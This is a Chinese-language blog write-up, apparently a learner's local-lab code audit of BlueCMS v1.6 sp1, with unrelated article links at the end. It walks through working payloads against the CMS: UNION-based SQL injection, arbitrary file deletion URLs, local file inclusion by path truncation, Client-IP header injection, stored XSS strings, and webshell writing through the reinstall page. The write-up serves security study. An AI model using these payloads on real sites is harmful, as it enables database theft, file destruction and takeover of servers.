BlueCMS版本号为:bluecms_v1.6_sp1

本地搭建环境后将源代码丢进seay源代码审计系统,开启本地web服务页面访问,大部分白盒+小部分黑盒审计

搭建好环境后第一步先检查是否有重装漏洞,访问网站install位置,我的网址是:

  1. http://127.0.0.1/bluecms_v1.6_sp1/bluecms/install/

  

可以看到存在重装漏洞,源代码里面没有检测网站是否已经搭建,所以我们可以通过重装获取管理员密码进而在后台写入shell

同时我们也可以在填入配置的时候,可以尝试直接写入一句话木马进config.php文件,从而拿到shell

这个时候seay审计工具也审计结束了

我们可以依次进行分析,找出漏洞

进入ID=1的漏洞详情

疑似漏洞点为:

  1. $ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

  可以看到$ad_id没有引号包裹,存在数字型SQL注入漏洞,接下来我们需要找到$ad_id参数的输入点,构造利用点

这里只对输入的$ad_id进行了空格的过滤

  1. $ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';

  输出位置代码为:

  1. echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";

  而在ad_js.php文件的开头引入了过滤文件

  1. require_once dirname(__FILE__) . '/include/common.inc.php';

  我们查看common.inc.php文件,有

  1. if(!get_magic_quotes_gpc())
  2. {
  3. $_POST = deep_addslashes($_POST);
  4. $_GET = deep_addslashes($_GET);
  5. $_COOKIES = deep_addslashes($_COOKIES);
  6. $_REQUEST = deep_addslashes($_REQUEST);
  7. }

  若果没有开启GPC防注入的话,则对POST,GET,COOKIE,REQUEST参数都进行过滤,但是deep_addslashes

  1. function deep_addslashes($str)
  2. {
  3. if(is_array($str))
  4. {
  5. foreach($str as $key=>$val)
  6. {
  7. $str[$key] = deep_addslashes($val);
  8. }
  9. }
  10. else
  11. {
  12. $str = addslashes($str);
  13. }
  14. return $str;
  15. }

  仅仅是在addslashes过滤函数基础上的一个修改,而addslashes函数是不能防止数字型注入的,回到刚才漏洞的注入点:

  1. $ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

  可以看到这里是数字型的注入,所以我们能够直接进行注入。

添加单引号:

  1. http://127.0.0.1/bluecms_v1.6_sp1/bluecms/ad_js.php?ad_id=1%27

  

从源代码我们已经看出来这是数字型注入了,我们可以不输入单引号,但是如果不是数字型注入,我们尝试使用宽字节绕过GPC

  成功令%df%27合成一个汉字

宽字节注入绕过GPC实际上是PHP与MySQL交互过程中发生编码转换导致的问题,从上面我们可以看到将转义符去除了,进而可以对于字符型注入

当然这里我们继续使用数字型,使用order by 判断字段数

  1. http://127.0.0.1/bluecms_v1.6_sp1/bluecms/ad_js.php?ad_id=1%20order%20by%207

  页面没有任何显示,因为在ad_js.php的输出里面是

  1. echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";

  将输出在源代码中注释了,不会显示在界面中,想要查看也很简单,查看源代码即可

字段数是7,查看回显位置

  1. http://127.0.0.1/bluecms_v1.6_sp1/bluecms/ad_js.php?ad_id=1%20and%201=2%20union%20select%201,2,3,4,5,6,7

  

回显位置是7,简单查看一下user用户

成功读取当前用户,SQL注入漏洞成功利用。

第二个漏洞点在:

  1. $db->query("UPDATE ".table('ann')." SET click = click+1 WHERE ann_id = ".$ann_id);

  同样可以看到可能存在数字型注入

  1. $ann_id = !empty($_REQUEST['ann_id']) ? intval($_REQUEST['ann_id']) : '';

  但是在这里将输入的ann_id进行了数字的转换,以至于不能进一步利用

另外好几个疑似SQL注入的点都是用intval进行了数字转换导致不能利用

疑似任意文件删除漏洞:

  1. elseif($act == 'del_pic')
  2. {
  3. $id = $_REQUEST['id'];
  4. $db->query("DELETE FROM ".table('post_pic')." WHERE pic_path='$id'");
  5. if(file_exists(BLUE_ROOT.$id))
  6. {
  7. @unlink(BLUE_ROOT.$id);
  8. }
  9. }

  可以看出来,选择动作为删除,传入id参数,先从数据库中将其删除,然后如果本地存在该文件也一并继续删除。

我们在同目录下创建test.txt

payload为:

  1. http://127.0.0.1/bluecms_v1.6_sp1/bluecms/publish.php?act=del_pic&id=test.txt

  

访问构造的网址

文件已删除,进一步可删除服务器任意文件

二更

继续看疑似漏洞点

  1. $condition = " AND cat_id IN(SELECT cat_id FROM ".table('category')." WHERE parentid = ".$cid.")";

  同样,对于$cid使用了强转,无法利用

  1. $cid = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '';

  

本地文件包含疑似漏洞点:

  1. elseif ($act == 'pay'){
  2. include 'data/pay.cache.php';
  3. $price = $_POST['price'];
  4. $id = $_POST['id'];
  5. $name = $_POST['name'];
  6. if (empty($_POST['pay'])) {
  7. showmsg('对不起,您没有选择支付方式ʽ');
  8. }
  9. include 'include/payment/'.$_POST['pay']."/index.php";
  10. }

  我们到bluecms的文件夹里面去找pay能够选择哪种支付方式:

alipay,所以我们先构造pay=alipay

跳转到了支付宝的一个支付界面,接着我们尝试本地文件包含,先尝试%00截断和和windows下点+斜杠截断的方法,把本地phpstudy环境中php版本开到5.3.4以下,因为这两个截断在5.3以后的版本中已经全面修复了。

alipay同目录下创建log.txt文件,文件内容为:

先尝试00截断:

页面无回显,我们在源代码中添加一句:

重新提交POST数据,可以看到页面显示了我们提交后的pay

应该是引入了过滤函数,将0前面添加了反斜杠防止截断。

再尝试windows下使用240个连接的点进行截断,我也没数有多少个,反正多输几个再说

可以看到成功包含了本地文件,存在本地文件包含漏洞

在user.php中也存在疑似任意文件删除

  1. elseif($act == 'del_pic'){
  2. $id = $_REQUEST['id'];
  3. $db->query("DELETE FROM ".table('company_image')." WHERE path='$id'");
  4. if(file_exists(BLUE_ROOT.$id)){
  5. @unlink(BLUE_ROOT.$id);
  6. }
  7. }

  可以看到这一段与之前publish.php是类似的(除了表名不同)

所以我们简单尝试是否存在任意文件删除,到user.php同目录文件夹下创建test.txt

构造的payload为:

  1. http://127.0.0.1/bluecms_v1.6_sp1/bluecms/user.php?act=del_pic&id=test.txt

  但是此时页面却报错了

个人感觉是由于在publish.php中删除,虽然其在数据库中即便没有找到该路径,但是程序选择了继续执行下去,但是在user.php中设置的是如果没有找到该路径,就抛出错误,同时不再继续进行,故这里不能进行任意文件的删除。

在user.php中另外一处疑似任意文件删除漏洞

  1. if (!empty($_POST['face_pic1'])){
  2. if (strpos($_POST['face_pic1'], 'http://') != false && strpos($_POST['face_pic1'], 'https://') != false){
  3. showmsg('ֻ֧只支持本站相对路径地址');
  4. }
  5. else{
  6. $face_pic = trim($_POST['face_pic1']);
  7. }
  8. }else{
  9. if(file_exists(BLUE_ROOT.$_POST['face_pic3'])){
  10. @unlink(BLUE_ROOT.$_POST['face_pic3']);
  11. }
  12. }

  可以看到在else中对于POST输入的face_pic3没有进行其余的检查而直接@unlink删除了文件。

同样先创建test.txt文件

hackerbar构造:

运行后更新个人资料成功

同时目录下的test.txt文件已被删除

bluecms中获取用户IP地址是通过:

  1. function getip()
  2. {
  3. if (getenv('HTTP_CLIENT_IP'))
  4. {
  5. $ip = getenv('HTTP_CLIENT_IP');
  6. }
  7. elseif (getenv('HTTP_X_FORWARDED_FOR'))
  8. { //获取客户端用代理服务器访问时的真实ip 地址
  9. $ip = getenv('HTTP_X_FORWARDED_FOR');
  10. }
  11. elseif (getenv('HTTP_X_FORWARDED'))
  12. {
  13. $ip = getenv('HTTP_X_FORWARDED');
  14. }
  15. elseif (getenv('HTTP_FORWARDED_FOR'))
  16. {
  17. $ip = getenv('HTTP_FORWARDED_FOR');
  18. }
  19. elseif (getenv('HTTP_FORWARDED'))
  20. {
  21. $ip = getenv('HTTP_FORWARDED');
  22. }
  23. else
  24. {
  25. $ip = $_SERVER['REMOTE_ADDR'];
  26. }
  27. return $ip;
  28. }

  实际上使用XFF是能够绕过的,大概看了一下,对于ban掉的IP也是通过XFF获取到的IP地址来判断的,并不安全

在guest_book.php文件中调用了获取到的IP地址存储到数据库中:

  1. elseif ($act == 'send')
  2. {
  3. $user_id = $_SESSION['user_id'] ? $_SESSION['user_id'] : 0;
  4. $rid = intval($_POST['rid']);
  5. $content = !empty($_POST['content']) ? htmlspecialchars($_POST['content']) : '';
  6. $content = nl2br($content);
  7. if(empty($content))
  8. {
  9. showmsg('评论内容不能为空');
  10. }
  11. $sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content)
  12. VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')";
  13. $db->query($sql);
  14. showmsg('恭喜您留言成功', 'guest_book.php?page_id='.$_POST['page_id']);
  15. }

  $online_ip是在guest_book.php包含的common.inc.php文件中获取到的:

  1. $online_ip = getip();

  getip函数在common.fun.php中,上面我们显示过代码,这里不再赘述。

虽然整个代码里面开启了SQL防注入以及参数过滤,但是在PHP5之后使用$_SERVER取到的header字段不会受到GPC的影响,而在header注入中最常见也是程序员经常会忽略的地方就是user-agent,referer以及client-ip/X-Forwarded-For,我们这里就是利用这个特性钻了空子而注入。

先在网页上尝试留言

留言成功,使用burpsuite抓包,使用client-ip伪造ip地址

这里有很多种注入方式,我们简单回显当前数据库用户

明天再更,找一些XSS漏洞

三更

找一下XSS漏洞,XSS漏洞经常出现在文章发表,评论回复,留言以及资料设置等地方,这里我们根据功能点去寻找

来到留言反馈界面

  1. http://127.0.0.1/bluecms_v1.6_sp1/bluecms/guest_book.php

  

代码里有:

  1. $content = !empty($_POST['content']) ? htmlspecialchars($_POST['content']) : '';

  对于我们输入的正文content进行了XSS过滤

昨天有一个漏洞是client-ip进行注入,尝试了一下在伪造ip中添加XSS攻击脚本,但是getip()获取的长度有限制,不能构成攻击,但是这里确实是存在XSS漏洞,将guest_book.htm显示IP代码修改一下:

  1. 发表于:{#$guest_list[g].add_time|date_format:"%Y-%m-%d %H:%M:%S"#}   IP: <script>{#$guest_list[g].ip#}</script>

  在IP处添加了script来显示。

如果没有长度限制,应该将script添加到client-ip里面,发送留言

修改成有漏洞的代码了hhh。

继续寻找存储型的XSS漏洞,存储型XSS漏洞需要寻找未过滤的输入点和未过滤的输出函数,看一下个人资料处

这里的个人资料是可以修改的,查看输入个人资料处代码

  1. $birthday = trim($_POST['birthday']);
  2. $sex = intval($_POST['sex']);
  3. $email = !empty($_POST['email']) ? trim($_POST['email']) : '';
  4. $msn = !empty($_POST['msn']) ? trim($_POST['msn']) : '';
  5. $qq = !empty($_POST['qq']) ? trim($_POST['qq']) : '';
  6. $mobile_phone = !empty($_POST['mobile_phone']) ? trim($_POST['mobile_phone']) : '';
  7. $office_phone = !empty($_POST['office_phone']) ? trim($_POST['office_phone']) : '';
  8. $home_phone = !empty($_POST['home_phone']) ? trim($_POST['home_phone']) : '';
  9. $address = !empty($_POST['address']) ? htmlspecialchars($_POST['address']) : '';

  看上去只对地址进行了XSS的过滤,再看看输出的位置

  1. $user = $db->getone("SELECT * FROM ".table('user')." WHERE user_id=".intval($_SESSION['user_id']));
  2. $ann_arr = get_ann(0, 8);
  3. template_assign(array(
  4. 'act',
  5. 'user',
  6. 'current_act',
  7. 'ann_arr'
  8. ),
  9. array(
  10. $act,
  11. $user,
  12. '会员中心',
  13. $ann_arr
  14. )
  15. );
  16. $smarty->display('user.htm');

  将登陆用户的信息从数据库中提取出来,并且以user.htm为模板显示出来,模板部分代码为:

实际上经过测试此处能够XSS的输入框有两处:分别是邮箱,用户头像

因为现居住地经过了过滤,QQ,办公电话有长度限制,出生日期我不知道怎么设定的,应该是有输入规范2020-4-22这种,不能输入不合法的数字:

而邮箱处显示代码为:

  1. <td align="left"><input name="email" type="text" value="{#$user.email#}" class="inputbox" /></td>

  我们输入payload为:

  1. <script>alert(2)</script></td>//

  个人头像处显示代码为:

  1. <td align="left"><input type="text" name="face_pic1" value="{#$user.face_pic#}" class="inputbox" /></td>

  我们输入payload为:

  1. "/></td><script>alert(/xss/);</script>//

  确认修改后访问user.php

成功执行存储型XSS。

把《代码审计》一书看完了,接下来需要慢慢审小型CMS,印证自己看书时的一些想法,并且熟练运用书中的技巧,争取在上半年拿到CVE吧

BlueCMS代码审计的更多相关文章

  1. bluecms v1.6 sp1 代码审计学习

    前言 正式开始代码审计的学习,拓宽自己的知识面.代码审计学习的动力也是来自团队里的王叹之师傅,向王叹之师傅学习. 这里参考了一些前辈,师傅的复现经验和bluecms审计的心得 安装 install.p ...

  2. 代码审计入门之BlueCMS v1.6 sp1

    0x00 前言 作为一名代码审计的新手,网上的大佬们说代码审计入门的话BlueCMS比较好,所以我就拿BlueCMS练练.(本人实在是一枚新手,请大佬们多多赐教) 0x01 环境准备 Phpstudy ...

  3. [php代码审计]bluecms v1.6 sp1

    一.环境搭建 bluecms v1.6 sp1源码 windows 7 phpstudy2016(php 5.4.45) seay源代码审计系统 源码在网上很容易下载,很多教程说访问地址 http:/ ...

  4. bluecms v1.6 代码审计

    0x01 使用seay源代码审计系统进行审计 扫描到了很多个可疑漏洞,不过工具都有一定的误报,下面我们就逐个进行验证 0x02 /ad_js.php SQL注入漏洞 查看源码,我们发现程序通过GET方 ...

  5. php代码审计基础笔记

    出处: 九零SEC连接:http://forum.90sec.org/forum.php?mod=viewthread&tid=8059 --------------------------- ...

  6. 代码审计之SQL注入:BlueCMSv1.6 sp1

    Preface 这是一篇纪录关于BlueCMSv1.6 sp1两个SQL注入的审计过程,原文来自代码审计之SQL注入:BlueCMSv1.6 sp1 ,主要纪录一下个人在参考博文复现这两个漏洞经过. ...

  7. PHP代码审计中你不知道的牛叉技术点

    一.前言 php代码审计如字面意思,对php源代码进行审查,理解代码的逻辑,发现其中的安全漏洞.如审计代码中是否存在sql注入,则检查代码中sql语句到数据库的传输 和调用过程. 入门php代码审计实 ...

  8. 技术专题-PHP代码审计

    作者:坏蛋链接:https://zhuanlan.zhihu.com/p/24472674来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明出处. 一.前言 php代码审计如字面 ...

  9. 关于PHP代码审计和漏洞挖掘的一点思考

    这里对PHP的代码审计和漏洞挖掘的思路做一下总结,都是个人观点,有不对的地方请多多指出. PHP的漏洞有很大一部分是来自于程序员本身的经验不足,当然和服务器的配置有关,但那属于系统安全范畴了,我不太懂 ...

随机推荐

  1. C# out参数的学习

    out参数一直不是很会用,学习下记录下来 . 先来看一下out参数的使用场景 如果你在一个方法中 ,返回多个相同类型的值的时候,可以考虑返回一个数组.(举例:写一个方法,传入一个数组,返回数组的最大值 ...

  2. 强迫自己学Jquery

    Jquery 适合我吗? 里面有很多用不上的功能, 我需要什么,常用的判断,常用的扩展,来自Dojo的Hitch函数,事件绑定,样式处理(添加 删除 替换),Ajax,模块加载, 足够了,真心不想用这 ...

  3. Docker安装Oracle11g

    为什么使用docker安装oracle,因为自己搭建配置的话可能时间太久太繁琐等等原因,也因为docker实在太方便了 本文主要是使用docker-compose安装Oracle 11g,因为使用do ...

  4. java 基础知识(java web 方面的)

    1.java面向对象的基本特征:封装性,多态性,继承性. 2.Java的泛型:iterator接口主要有hasnext()方法,next()方法,remove()方法:collection接口继承了i ...

  5. SQL Server DATEDIFF() 函数用法

    定义和用法 DATEDIFF() 函数返回两个日期之间的时间,例如计算年龄大小. DATEDIFF(datepart,startdate,enddate)startdate 和 enddate 参数是 ...

  6. Java web项目JXl导出excel,(从eclipse上移动到tomact服务器上,之路径更改)

    我用的是jxl导出excel,比较简单,最开始我是固定路径不能选择,很局限,后来改了,而且固定路径当把项目放在服务器上时,路径不可行. 在网上各位大神的帮助成功设置响应头,并且可选保存路径. 1.前端 ...

  7. oss文件上传删除(批量删除)处理

    博主用的是阿里云的oss 首先先在阿里云下载安装sdk,相关的sdk下载请自行到阿里云下载 文档地址   https://help.aliyun.com/document_detail/85580.h ...

  8. 关于Redis的一些思考

    1.从Java语言考虑,已经有ConcurrentHashMap等并发集合类了,与Redis相比,区别于差异在哪? 一直有这么个疑问,今天有搜了很久,很巧,搜到个有同样想法的问答,如下: When p ...

  9. Linux下Docker容器安装与使用

    注:作者使用的环境是CentOS 7,64位,使用yum源安装. 一.Docker容器的安装 1.查看操作系统及内核版本,CentOS 7安装docker要求系统为64位.系统内核版本为 3.10及以 ...

  10. 【惊喜】Github爆火的java面试神技+java核心面试技术已开发下载,大厂内都传疯了!

    前言 今年,由于疫情的影响,很多互联网企业都在缩减招聘成本.作为程序员,原本这两年就面临竞争激烈.年龄危机的问题,而现在的求职局面又完全是企业在挑人的状态. 所以最好能在空闲的时候看看大厂相匹配的技术 ...